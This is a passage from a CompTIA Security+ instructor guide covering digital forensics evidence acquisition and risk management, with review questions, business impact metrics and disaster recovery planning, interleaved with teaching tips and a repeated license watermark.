evidence should be documented by a chain of custody form which records where,
when, and who collected the evidence, who subsequently handled it, and where it
was stored.
The evidence should be stored in a secure facility; this not only means access control,
but also environmental control, so that the electronic systems are not damaged by
condensation, ESD, fire, and other hazards. Similarly, if the evidence is transported, the
transport must also be secure.

Show Slide(s) Acquisition of Other Data

Acquisition of Other
There are other potential sources of forensic data within computer systems and
Data networks, though they can be hard to acquire or to prove as admissible.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 495

Network
Packet captures and traffic flows can contain very valuable evidence, if the capture was
running at the right time and in the right place to record the incident. As with memory
forensics, the issue for forensics lies in establishing the integrity of the data. Most
network data will come from a SIEM.

Cache
Cache can refer either to hardware components or software. Software-based cache is
stored in the file system and can be acquired as part of a disk image. For example, each
brower has a cache of temporary files, and each user profile has a cache of temp files.
Some cache artifacts generated by the OS and applications are held in memory only,
such as portions of the registry, cryptographic keys, password hashes, some types of
cookies, and so on. The contents of hardware cache (CPU registers and disk controller
read/write cache, for instance) is not generally recoverable.

Artifacts and Data Recovery

Artifacts refers to any type of data that is not part of the mainstream data structures
of an operating system. For example, the Windows Alternate Data Streams (ADS)
feature is often used to conceal file data, and various caches, such as prefetch and
Amcache, can be used to find indicators of suspicious process behavior.
Data recovery refers to analyzing a disk (or image of a disk) for file fragments stored in
slack space. These fragments might represent deleted or overwritten files. The process
of recovering them is referred to as carving.

Using Autopsy for file carving a disk image. The selected Courses folder and the PDF files in it were deleted
and so are flagged as unallocated. Because this image was captured soon after deletion, the file contents
are easily recoverable, however. (Screenshot Autopsy—the Sleuth Kit sleuthkit.org/autopsy.)

Snapshot
A snapshot is a live acquisition image of a persistent disk. While this may have less
validity than an image taken from a device using a write blocker, it may be the only
means of acquiring data from a virtual machine or cloud process.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 496 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Firmware
Firmware is usually implemented as flash memory. Some types, such as the PC
firmware, can potentially be extracted from the device or from system memory using
an imaging utility. It likely will be necessary to use specialist hardware to attach the
device to a forensic workstation, however.

Show Slide(s) Digital Forensics for Cloud

Digital Forensics for
With an on-premises investigation, the right to seize and analyze devices is usually
Cloud fairly unproblematic. There may be availability issues with taking a system out of
service, and bring-your-own-device policies can be more complex, but essentially as all
Teaching the equipment is the company's property, there are no third-party obstacles.
Tip
While companies can operate private clouds, forensics in a public cloud are
Note that these issues complicated by the right to audit permitted to you by your service level agreement
have to be considered
and resolved well in
(SLA) with the cloud provider. Two more issues with forensics investigations of cloud-
advance of an actual hosted processing and data services are as follows:
incident.
• The on-demand nature of cloud services means that instances are often created
and destroyed again, with no real opportunity for forensic recovery of any data.
Cloud providers can mitigate this to some extent with extensive logging and
monitoring options. A CSP might also provide an option to generate file system
and memory snapshots from containers and VMs in response to an alert condition
generated by a SIEM.

• Chain of custody issues are complex and might have to rely on the CSP to select and
package data for you. The process should be documented and recorded as closely
as is possible.

• Jurisdiction and data sovereignty may restrict what evidence the CSP is willing to
release to you.

• If the CSP is a data processor, it will be bound by data breach notification laws and
regulations. Coordinating the timing of notification and contact with the regulator
between your organization and the CSP can be extremely complex, especially if
there is an ongoing incident requiring confidentiality.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 497

Review Activity:
Digital Forensics Evidence Acquisition
Answer the following questions:

1. You must recover the contents of the ARP cache as vital evidence of a man-
in-the-middle attack. Should you shut down the PC and image the hard drive
to preserve it?

No, the ARP cache is stored in memory and will be discarded when the computer is
powered off. You can either dump the system memory or run the arp utility and make
a screenshot. In either case, make sure that you record the process and explain your
actions.

2. Which command line tool allows image creation from disk media on any
Linux host?

The dd tool is installed on all Linux distributions.

3. True or false? To ensure evidence integrity, you must make a hash of the
media before making an image.

True.

4. What type of forensic data is recovered using a carving tool?

A carving tool allows close inspection of an image to locate artifacts. Artifacts are data
objects and structures that are not obvious from examination by ordinary file browsing
tools, such as alternate data streams, cache entries, and deleted file remnants.

Lesson 18: Explaining Digital Forensics | Topic 18B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 498 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 18
Summary
Teaching You should be able to explain key aspects of digital forensics, including the secure
Tip acquisition and handling of evidence.
Check that students
are confident about
the content that has
Guidelines for Digital Forensics
been covered. If there Follow these guidelines for supporting forensics investigations:
is time, revisit any
content examples that • Develop or adopt a consistent process for incident responders to handle and
they have questions preserve forensic data:
about. If you have
used all the available • Consider the order of volatility and potential loss of evidence if a host is shut
time for this lesson
down or powered off.
block, note the issues,
and schedule time for
• Record evidence collection using video and interview witnesses to gather
a review later in the
course. statements.

• Deploy tools, such as WinHex, Autopsy, or FTK Imager, that can capture and
validate evidence from persistent and nonpersistent media.

• Establish a method for recovering forensic data from a CSP.

• Document evidence using a chain of custody.

• Be aware of the potential for forensic evidence as a source of strategic intelligence

and counterintelligence.

Lesson 18: Explaining Digital Forensics

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 19
Summarizing Risk
Management Concepts

LESSON INTRODUCTION Teaching

Tip
If a company operates with one or more vulnerable business processes, it could result This lesson returns to
in disclosure, modification, loss, destruction, or interruption of critical data or it could the "identify" function.
lead to loss of service to customers. Quite apart from immediate financial losses arising While we have already
from such security incidents, either outcome will reduce a company's reputation. If a examined practical
bank lost its trading floor link to its partners, even for an hour, since the organization's security assessment
tools and procedures,
primary function (trading) would be impossible, huge losses may result. Consequently,
this lesson considers
when planning a network or other IT system, you must perform risk management to wider ERM processes.
assess threats and vulnerabilities.
Analyzing risk plays a major role in ensuring a secure environment for an organization.
By assessing and identifying specific risks that can cause damage to network
components, hardware, and personnel, you can mitigate possible threats and establish
the right corrective measures to avoid losses and liabilities.

Lesson Objectives
In this lesson, you will:
• Explain risk management processes and concepts.

• Explain business impact analysis concepts.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 500 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 19A
Explain Risk Management
Processes and Concepts

Teaching EXAM OBJECTIVES COVERED

Tip 5.4 Summarize risk management processes and concepts
This topic shows
how cybersecurity
procedures fit Most organizations have formal risk management policies and processes, both to
within an overall risk meet compliance requirements and to make the business secure. These policies and
management process.
processes are usually driven by frameworks and come with some standard terminology
to describe factors and procedures within the overall process. It is vital that you be
able to summarize the key concepts of risk management, so that you can participate in
these important assessments.

Show Slide(s) Risk Management Processes

Risk Management
Risk management is a process for identifying, assessing, and mitigating vulnerabilities
Processes and threats to the essential functions that a business must perform to serve its
customers. You can think of this process as being performed over five phases:
1. Identify mission essential functions—mitigating risk can involve a large amount
of expenditure so it is important to focus efforts. Effective risk management must
focus on mission essential functions that could cause the whole business to fail if
they are not performed. Part of this process involves identifying critical systems
and assets that support these functions.

2. Identify vulnerabilities—for each function or workflow (starting with the most

critical), analyze systems and assets to discover and list any vulnerabilities or
weaknesses to which they may be susceptible.

3. Identify threats—for each function or workflow, identify the threat sources and
actors that may take advantage of or exploit or accidentally trigger vulnerabilities.

4. Analyze business impacts—the likelihood of a vulnerability being activated as a

security incident by a threat and the impact of that incident on critical systems are
the factors used to assess risk. There are quantitative and qualitative methods of
analyzing impacts and likelihood.

5. Identify risk response—for each risk, identify possible countermeasures and

assess the cost of deploying additional security controls. Most risks require some
sort of mitigation, but other types of response might be more appropriate for
certain types and level of risks.

For each business process and each threat, you must assess the degree of risk that
exists. Calculating risk is complex, but the two main variables are likelihood and impact:
• Likelihood of occurrence is the probability of the threat being realized.

• Impact is the severity of the risk if realized as a security incident. This may be
determined by factors such as the value of the asset or the cost of disruption if the
asset is compromised.

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 501

Risk management is complex and treated very differently in companies and institutions
of different sizes, and with different regulatory and compliance requirements. Most
companies will institute enterprise risk management (ERM) policies and procedures,
based on frameworks such as NIST's Risk Management Framework (RMF) or ISO 31K.
These legislative and framework compliance requirements are often formalized as
a Risk and Control Self-Assessment (RCSA). An organization may also contract an
external party to lead the process, in which case it is referred to as a Risk and Control
Assessment (RCA).
A RCSA is an internal process undertaken by stakeholders to identify risks and the
effectiveness with which controls mitigate those risks. RCSAs are often performed
through questionnaires and workshops with department managers. The outcome of an
RCSA is a report. Up-to-date RCSA reports are critical to the external audit process.

Risk Types Show Slide(s)

General types of risks can be identified as arising from specific threat and vulnerability Risk Types
scenarios.

External
External threat actors are one highly visible source of risk. You must also consider
wider threats than those of cyberattack. Natural disasters, such as the COVID-19
pandemic, illustrate the need to have IT systems and workflows that are resilient to
widespread dislocation. The most critical type of impact is one that could lead to loss
of life or critical injury. The most obvious risks to life and safety come from natural
disasters, person-made disasters, and accidents, such as fire.

Internal
Internal risks come from assets and workflows that are owned and managed by your
organization. When reviewing internal risks, it is important to remember that these can
be classed as malicious and accidental or non-malicious. Internal threats can include
contractors granted temporary access.

Multiparty
Multiparty risk is where an adverse event impacts multiple organizations. Multiparty
risk usually arises from supplier relationships. If a critical event disrupts a supplier or
customer, then your own organization will suffer. These are often described as ripple
impacts. For example, if one of your top five customers goes out of business because
of a data breach, your company will lose substantial revenue. Organizations in these
supply chain relationships have an interest in promoting cybersecurity awareness and
capability throughout the chain.
As an illustration of how risk assessments can change in view of multiparty
relationship, consider a company that makes wireless adapters, originally for use
with laptops. In the original usage, the security of the firmware upgrade process is
important, but it has no impact on life or safety. The company, however, earns a
new contract to supply the adapters to provide connectivity for in-vehicle electronics
systems. Unknown to the company, a weakness in the design of the in-vehicle system
allows an adversary to use compromised wireless adapter firmware to affect the car's
control systems. The integrity of the upgrade process now has an impact on safety, and
is much higher risk.

Intellectual Property (IP) Theft

Intellectual property (IP) is data of commercial value that is owned by the organization.
This can mean copyrighted material for retail (software, written work, video, and

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 502 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

music) and product designs and patents. If IP data is exfiltrated it will lose much of its
commercial value. Losses can be very difficult to recover in territories where there are
not strong legal protections.

Software Compliance/Licensing
Breaking the terms of the end user licensing agreement (EULA) that imposes conditions
on installation of the software can expose the computer owner to substantial fines.
License issues are most likely to arise from shadow IT, where users install software
without change control approval. Network inventory management suites can report
software installations on each host and correlate those with the number of license
seats purchased. Licensing models can also be complex, especially where virtualization
and the cloud are concerned. It is important to train the administrative staff on the
specific license terms for each product.

Legacy Systems
Legacy systems are a source of risk because they no longer receive security updates
and because the expertise to maintain and troubleshoot them is a scarce resource.

Show Slide(s) Quantitative Risk Assessment

Quantitative Risk
There are quantitative and qualitative methods of performing risk analysis to evaluate
Assessment likelihood and impact.

Teaching
Tip
Students need to learn
these metrics.

Quantitative risk assessment aims to assign concrete values to each risk factor. (Image © 123RF.com.)

Quantitative risk assessment aims to assign concrete values to each risk factor.
• Single Loss Expectancy (SLE)—the amount that would be lost in a single
occurrence of the risk factor. This is determined by multiplying the value of the
asset by an Exposure Factor (EF). EF is the percentage of the asset value that would
be lost.

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 503

• Annualized Loss Expectancy (ALE)—the amount that would be lost over the
course of a year. This is determined by multiplying the SLE by the Annualized Rate
of Occurrence (ARO).

It is important to realize that the value of an asset does not refer solely to its material
value. The two principal additional considerations are direct costs associated with the
asset being compromised (downtime) and consequent costs to intangible assets, such
as the company's reputation. For example, a server may have a material cost of a few
hundred dollars. If the server were stolen, the costs incurred from not being able to
do business until it can be recovered or replaced could run to thousands of dollars.
In addition, that period of interruption where orders cannot be taken or go unfulfilled
leads customers to look at alternative suppliers, resulting in perhaps more thousands
of lost sales and goodwill.
The problem with quantitative risk assessment is that the process of determining and
assigning these values is complex and time consuming. The accuracy of the values
assigned is also difficult to determine without historical data (often, it has to be based
on subjective guesswork). However, over time and with experience, this approach can
yield a detailed and sophisticated description of assets and risks and provide a sound
basis for justifying and prioritizing security expenditure.

Qualitative Risk Assessment Show Slide(s)

Qualitative risk assessment avoids the complexity of the quantitative approach and Qualitative Risk
is focused on identifying significant risk factors. The qualitative approach seeks out Assessment
people's opinions of which risk factors are significant. Assets and risks may be placed
in simple categories. For example, assets could be categorized as Irreplaceable, High
Value, Medium Value, and Low Value; risks could be categorized as one-off or recurring
and as Critical, High, Medium, and Low probability.
Another simple approach is the heat map or "Traffic Light" impact matrix. For each risk,
a simple Red, Yellow, or Green indicator can be put into each column to represent the
severity of the risk, its likelihood, cost of controls, and so on. This approach is simplistic
but does give an immediate impression of where efforts should be concentrated to
improve security.

Traffic light impact grid.

FIPS 199 (nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.199.pdf) discusses how to apply

security categorizations (SC) to information systems based on the impact that a breach
of confidentiality, integrity, or availability would have on the organization as a whole.
Potential impacts can be classified as:

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 504 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Low—minor damage or loss to an asset or loss of performance (though essential

functions remain operational).

• Moderate—significant damage or loss to assets or performance.

• High—major damage or loss or the inability to perform one or more essential

functions.

Show Slide(s) Risk Management Strategies

Risk Management
The result of a quantitative or qualitative analysis is a measure of inherent risk.
Strategies Inherent risk is the level of risk before any type of mitigation has been attempted.
In theory, security controls or countermeasures could be introduced to address
Teaching
every risk factor. The difficulty is that security controls can be expensive, so you must
Tip
balance the cost of the control with the cost associated with the risk. It is not possible
Make sure students to eliminate risk; rather the aim is to mitigate risk factors to the point where the
can distinguish types
organization is exposed only to a level of risk that it can afford. The overall status of
of risk response.
risk management is referred to as risk posture. Risk posture shows which risk response
options can be identified and prioritized. For example, you might identify the following
priorities:
• Regulatory requirements to deploy security controls and make demonstrable efforts
to reduce risk. Examples of legislation and regulation that mandate risk controls
include SOX, HIPAA, Gramm-Leach-Bliley, the Homeland Security Act, PCI DSS
regulations, and various personal data protection measures.

• High value asset, regardless of the likelihood of the threat(s).

• Threats with high likelihood (that is, high ARO).

• Procedures, equipment, or software that increase the likelihood of threats (for

example, legacy applications, lack of user training, old software versions, unpatched
software, running unnecessary services, not having auditing procedures in place,
and so on).

In the quantitative approach, the Return on Security Investment (ROSI) can be determined
by calculating a new ALE, based on the reduction in loss that will be created by the security
controls introduced. The formula for calculating ROSI is: [(ALE – ALEm) – Cost of Solution] /
Cost of Solution, where ALE is the ALE before controls and ALEm is after controls.

Risk mitigation (or remediation) is the overall process of reducing exposure to or

the effects of risk factors. If you deploy a countermeasure that reduces exposure to
a threat or vulnerability that is risk deterrence (or reduction). Risk reduction refers
to controls that can either make a risk incident less likely or less costly (or perhaps
both). For example, if fire is a threat, a policy strictly controlling the use of flammable
materials on site reduces likelihood while a system of alarms and sprinklers reduces
impact by (hopefully) containing any incident to a small area. Another example is
offsite data backup, which provides a remediation option in the event of servers being
destroyed by fire.

Show Slide(s) Risk Avoidance and Risk Transference

Risk Avoidance and
Avoidance means that you stop doing the activity that is risk-bearing. For example, a
Risk Transference company may develop an in-house application for managing inventory and then try
to sell it. If while selling it, the application is discovered to have numerous security
vulnerabilities that generate complaints and threats of legal action, the company may
make the decision that the cost of maintaining the security of the software is not worth

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 505

the revenue and withdraw it from sale. Obviously this would generate considerable bad
feeling among existing customers. Avoidance is not often a credible option.
Transference (or sharing) means assigning risk to a third party, such as an insurance
company or a contract with a supplier that defines liabilities. For example, a company
could stop in-house maintenance of an e-commerce site and contract the services to
a third party, who would be liable for any fraud or data theft. Specific cybersecurity
insurance or cyberliability coverage protects against fines and liabilities arising from
data breaches and DoS attacks.

Note that in this sort of case it is relatively simple to transfer the obvious risks, but risks to
the company's reputation remain. If a customer's credit card details are stolen because
they used your unsecure e-commerce application, the customer won't care if you or a third
party were nominally responsible for security. It is also unlikely that legal liabilities could be
completely transferred in this way. For example, insurance terms are likely to require that
best practice risk controls have been implemented.

Risk Acceptance and Risk Appetite Show Slide(s)

It is not possible to reduce risks to zero, so part of risk posture is concerned with Risk Acceptance and
managing what risks remain. Risk Appetite

Risk Acceptance Teaching

Tip
Risk acceptance (or tolerance) means that no countermeasures are put in place either
Make sure students
because the level of risk does not justify the cost or because there will be unavoidable can distinguish these
delay before the countermeasures are deployed. In this case, you should continue to terms, especially
monitor the risk (as opposed to ignoring it). inherent, residual, and
control risk.
Residual Risk and Risk Appetite
Where inherent risk is the risk before mitigation, residual risk is the likelihood
and impact after specific mitigation, transference, or acceptance measures have
been applied. Risk appetite is a strategic assessment of what level of residual risk is
tolerable. Risk appetite is broad in scope. Where risk acceptance has the scope of a
single system, risk appetite has a project- or institution-wide scope. Risk appetite is
constrained by regulation and compliance.

Control Risk
Control risk is a measure of how much less effective a security control has become
over time. For example, antivirus became quite capable of detecting malware on the
basis of signatures, but then less effective as threat actors started to obfuscate code.
Control risk can also refer a security control that was never effective in mitigating
inherent risk. This illustrates the point that risk management is an ongoing process,
requiring continual reassessment and re-prioritization.

Risk Awareness Show Slide(s)

To ensure that the business stakeholders understand each risk scenario, you should Risk Awareness
articulate it such that the cause and effect can clearly be understood by the owner
of the asset. A DoS risk should be put into plain language that describes how the risk
would occur and, as a result, what access is being denied to whom, and the effect to
the business. For example: "As a result of malicious or hacking activity against the
public website, the site may become overloaded, preventing clients from accessing
their client order accounts. This will result in a loss of sales for so many hours and a
potential loss of revenue of so many dollars."

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 506 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

A risk register is a document showing the results of risk assessments in a

comprehensible format. The register may resemble the heat map risk matrix
shown earlier with columns for impact and likelihood ratings, date of identification,
description, countermeasures, owner/route for escalation, and status. Risk registers
are also commonly depicted as scatterplot graphs, where impact and likelihood
are each an axis, and the plot point is associated with a legend that includes more
information about the nature of the plotted risk. A risk register should be shared
between stakeholders (executives, department managers, and senior technicians) so
that they understand the risks associated with the workflows that they manage.

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 507

Review Activity:
Risk Management
Processes and Concepts
Answer the following questions:

1. What areas of a business or workflow must you examine to assess

multiparty risk?

You need to examine supply chain dependencies to identify how problems with one
or more suppliers would impact your business. You also need to examine customer
relationships to determine what liabilities you have in the event of an incident
impacting your ability to supply a product or service and what impact disruption
of important customer accounts would have, should cyber incidents disrupt their
business.

2. What risk type arises from shadow IT?

Shadow IT is the deployment of hardware, software, or cloud services without the

sanction of the system owner (typically the IT department). The system owner will
typically be liable for software compliance/licensing risks.

3. What metric(s) could be used to make a quantitative calculation of risk due

to a specific threat to a specific function or asset?

Single Loss Expectancy (SLE) or Annual Loss Expectancy (ALE). ALE is SLE multiplied by
ARO (Annual Rate of Occurrence).

4. What factors determine the selection of security controls in terms of an

overall budget?

The risk (as determined by impact and likelihood) compared to the cost of the control.
This metric can be calculated as Return on Security Investment (ROSI).

5. What type of risk mitigation option is offered by purchasing insurance?

Risk transference.

6. What is a risk register?

A document highlighting the results of risk assessments in an easily comprehensible

format (such as a heat map or "traffic light" grid). Its purpose is for department
managers and technicians to understand risks associated with the workflows that
they manage.

7. What is control risk?

Control risk arises when a security control is ineffective at mitigating the impact and/or
likelihood of the risk factor it was deployed to mitigate. The control might not work as
hoped, or it might become less effective over time.

Lesson 19: Summarizing Risk Management Concepts | Topic 19A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 508 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 19B
Explain Business Impact
Analysis Concepts

Teaching EXAM OBJECTIVES COVERED

Tip 5.4 Summarize risk management processes and concepts
This topic completes
the coverage of the
risk management
objective by looking at
Business impact analysis informs risk assessment by documenting the workflows that
disasters and business run the organization and the critical assets and systems that support them. Key metrics
impact analysis. quantify how much downtime those systems can withstand. As a security professional,
you will often be asked to produce this type of analysis.

Show Slide(s) Business Impact Analysis

Business Impact
Business impact analysis (BIA) is the process of assessing what losses might occur
Analysis for a range of threat scenarios. For instance, if a DDoS attack suspends an e-commerce
portal for five hours, the business impact analysis will be able to quantify the losses
Teaching from orders not made and customers moving permanently to other suppliers based
Tip on historic data. The likelihood of a DoS attack can be assessed on an annualized basis
Contrast the impact to determine annualized impact, in terms of costs. You then have the information
analysis activity with required to assess whether a security control, such as load balancing or managed
the continuity analysis DDoS mitigation, is worth the investment.
activity. Impact
analysis prioritizes Where BIA identifies risks, business continuity planning (BCP) identifies controls and
investment in processes that enable an organization to maintain critical workflows in the face of
continuity. some adverse event.

The term continuity of operations planning (COOP) refers to the same sorts of activities
when undertaken by a government agency, rather than a business.

Show Slide(s) Mission Essential Functions

Mission Essential
A mission essential function (MEF) is one that cannot be deferred. This means
Functions that the organization must be able to perform the function as close to continually as
possible, and if there is any service disruption, the mission essential functions must be
Teaching restored first.
Tip
Students need to learn Functions that act as support for the business or an MEF but are not critical in themselves
these metrics. are referred to as primary business functions (PBF).

Analysis of mission essential functions is generally governed by four main metrics:

• Maximum tolerable downtime (MTD) is the longest period of time that a
business function outage may occur for without causing irrecoverable business
failure. Each business process can have its own MTD, such as a range of minutes

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 509

to hours for critical functions, 24 hours for urgent functions, seven days for normal
functions, and so on. MTDs vary by company and event. Each function may be
supported by multiple systems and assets. The MTD sets the upper limit on the
amount of recovery time that system and asset owners have to resume operations.
For example, an organization specializing in medical equipment may be able to
exist without incoming manufacturing supplies for three months because it has
stockpiled a sizable inventory. After three months, the organization will not have
sufficient supplies and may not be able to manufacture additional products,
therefore leading to failure. In this case, the MTD is three months.

• Recovery time objective (RTO) is the period following a disaster that an individual
IT system may remain offline. This represents the amount of time it takes to identify
that there is a problem and then perform recovery (restore from backup or switch
in an alternative system, for instance).

• Work Recovery Time (WRT). Following systems recovery, there may be additional
work to reintegrate different systems, test overall functionality, and brief system
users on any changes or different working practices so that the business function is
again fully supported.

RTO+WRT must not exceed MTD!

• Recovery Point Objective (RPO) is the amount of data loss that a system can
sustain, measured in time. That is, if a database is destroyed by a virus, an RPO of
24 hours means that the data can be recovered (from a backup copy) to a point not
more than 24 hours before the database was infected.

Metrics governing mission essential functions. (Images © 123RF.com.)

For example, a customer leads database might be able to sustain the loss of a few
hours' or days' worth of data (the salespeople will generally be able to remember
who they have contacted and rekey the data manually). Conversely, order processing
may be considered more critical, as any loss will represent lost orders and it may be
impossible to recapture web orders or other processes initiated only through the
computer system, such as linked records to accounting and fulfillment.
MTD and RPO help to determine which business functions are critical and also to
specify appropriate risk countermeasures. For example, if your RPO is measured in

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 510 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

days, then a simple tape backup system should suffice; if RPO is zero or measured in
minutes or seconds, a more expensive server cluster backup and redundancy solution
will be required.

Show Slide(s) Identification of Critical Systems

Identification of
To support the resiliency of mission essential and primary business functions, it
Critical Systems is crucial to perform an identification of critical systems. This means compiling an
inventory of business processes and the assets that support them. Asset types include:
• People (employees, visitors, and suppliers).
• Tangible assets (buildings, furniture, equipment and machinery [plant], ICT
equipment, electronic data files, and paper documents).
• Intangible assets (ideas, commercial reputation, brand, and so on).
• Procedures (supply chains, critical procedures, standard operating procedures).

For mission essential functions, it is important to reduce the number of dependencies

between components. Dependencies are identified by performing a business process
analysis (BPA) for each function. The BPA should identify the following factors:
• Inputs—the sources of information for performing the function (including the
impact if these are delayed or out of sequence).
• Hardware—the particular server or data center that performs the processing.
• Staff and other resources supporting the function.
• Outputs—the data or resources produced by the function.
• Process flow—a step-by-step description of how the function is performed.

Show Slide(s) Single Points of Failure

Single Points of Failure
Each IT system will be supported by hardware assets, such as servers, disk arrays,
switches, routers, and so on. Reducing dependencies means the system design can
Teaching more easily eliminate the sort of weakness that comes from these devices becoming
Tip single points of failure (SPoF). A SPoF is an asset that causes the entire workflow to
fail if it is damaged or otherwise not available. SPoFs can be mitigated by provisioning
Students need to
learn the use of these redundant components. Metrics for asset reliability can help to determine when and
metrics. how much redundancy is required. Some of the main KPIs relating to service availability
are as follows:
• Mean time to failure (MTTF) and mean time between failures (MTBF) represent
the expected lifetime of a product. MTTF should be used for non-repairable assets.
For example, a hard drive may be described with an MTTF, while a server (which
could be repaired by replacing the hard drive) would be described with an MTBF.
You will often see MTBF used indiscriminately, however. For most devices, failure is
more likely early or late in life, producing the so-called "bathtub curve."

MTTF/MTBF can be used to determine the amount of asset redundancy a system

should have. A redundant system can failover to another asset if there is a fault and
continue to operate normally. It can also be used to work out how likely failures are
to occur.

• The calculation for MTBF is the total time divided by the number of failures. For
example, if you have 10 devices that run for 50 hours and two of them fail, the
MTBF is 250 hours/failure (10*50)/2.

• The calculation for MTTF for the same test is the total time divided by the
number of devices, so (10*50)/10, with the result being 50 hours/failure.

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 511

• Mean time to repair (MTTR) is a measure of the time taken to correct a fault so
that the system is restored to full operation. This can also be described as mean
time to "replace" or "recover." This metric is important in determining the overall
recovery time objective (RTO).

NIST has published a guide to resiliency and IT contingency planning (SP800-34), available
at nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-34r1.pdf.

Disasters Show Slide(s)

In terms of business continuity, a disaster is an event that could threaten mission Disasters
essential functions. For example, a privacy breach is a critical incident, but it is probably
not a direct threat to business functions. An earthquake that destroys a data center
is a disaster-level event. Disaster response involves many of the same principles and
procedures as incident response, but at a larger scale.

Internal versus External

An internal disaster is one that is caused by malicious activity or by accident by an
employee or contractor—anyone or anything whose presence within the company or
organization has been authorized. Internal disaster also encompasses system faults,
such as wiring causing a fire. Conversely, external disaster events are caused by threat
actors who have no privileged access. External disaster includes disasters that have
an impact on the organization through wider environmental or social impacts, such as
disruption of public services or impacts to the supply chain.

Person-Made
A person-made disaster event is one where human agency is the primary cause.
Typical examples other than devastating cybersecurity incidents include terrorism, war,
vandalism, pollution, and arson. There can also be accidental person-made disasters,
such as cutting through power or telecoms cabling.

Environmental
An environmental disaster, or natural disaster, is one that could not be prevented
through human agency. Environmental disasters include river or sea floods,
earthquakes, storms, disease, and so on. Natural disasters may be quite predictable
(as is the case with areas prone to flooding or storm damage) or unexpected, and
therefore difficult to plan for.

Most natural or environmental disasters can also have a human or artificial source. For
example, flooding might be more likely because dams are not adequately maintained; a
wildfire could be the result of arson or poorly maintained power infrastructure.

Site Risk Assessment

Where cybersecurity generally has financial impacts, site safety can have impacts to life
and property. A site risk assessment evaluates exposure to the following types of factor:
• Risk from disaster events, such as earthquake, flood, and fire. These events can
occur naturally or from person-made causes.

• Risk from disruption to utilities, such as electricity, water, and transportation. These
risks are higher in geographically isolated sites.

• Risk to health and safety from on-premises electromechanical systems or chemicals.

Lesson 19: Summarizing Risk Management Concepts | Topic 19B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 512 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Disaster Recovery Plans

Disaster Recovery
Disaster recovery plans (DRPs) describe the specific procedures to follow to recover
Plans a system or site to a working state following a disaster-level event. The DRP should
accomplish the following:
1. Identify scenarios for natural and non-natural disaster and options for protecting
systems. Plans need to account for risk (a combination of the likelihood the
disaster will occur and the possible impact on the organization) and cost.

There is no point implementing disaster recovery plans that financially cripple

the organization. The business case is made by comparing the cost of recovery
measures against the cost of downtime. The recovery plan should not generally
exceed the downtime cost.

2. Identify tasks, resources, and responsibilities for responding to a disaster.

• Who is responsible for doing what? How can they be contacted? What happens
if they are not available?

• Which functions are most critical? Where should effort first be concentrated?

• What resources are available? Should they be pre-purchased and held in stock?
Will the disaster affect availability of supplies?

• What are the timescales for resumption of normal operations?

3. Train staff in the disaster planning procedures and how to react well to change.

As well as restoring systems, the disaster recovery plan should identify stakeholders
who need to be informed about incidents with impacts to life and safety. There may
be a legal requirement to inform the police, fire service, or building inspectors about
any safety-related or criminal incidents. If third-party or personal data is lost or stolen,
the data subjects may need to be informed. If the disaster affects services, customers
need to be informed about the time-to-fix and any alternative arrangements that can
be made.

Show Slide(s) Functional Recovery Plans

Functional Recovery
Because disasters are extreme and (hopefully) rare events, it is very difficult to evaluate
Plans how effective or functional a recovery plan is. There are four principal methods for
assessing the functionality of recovery plans:
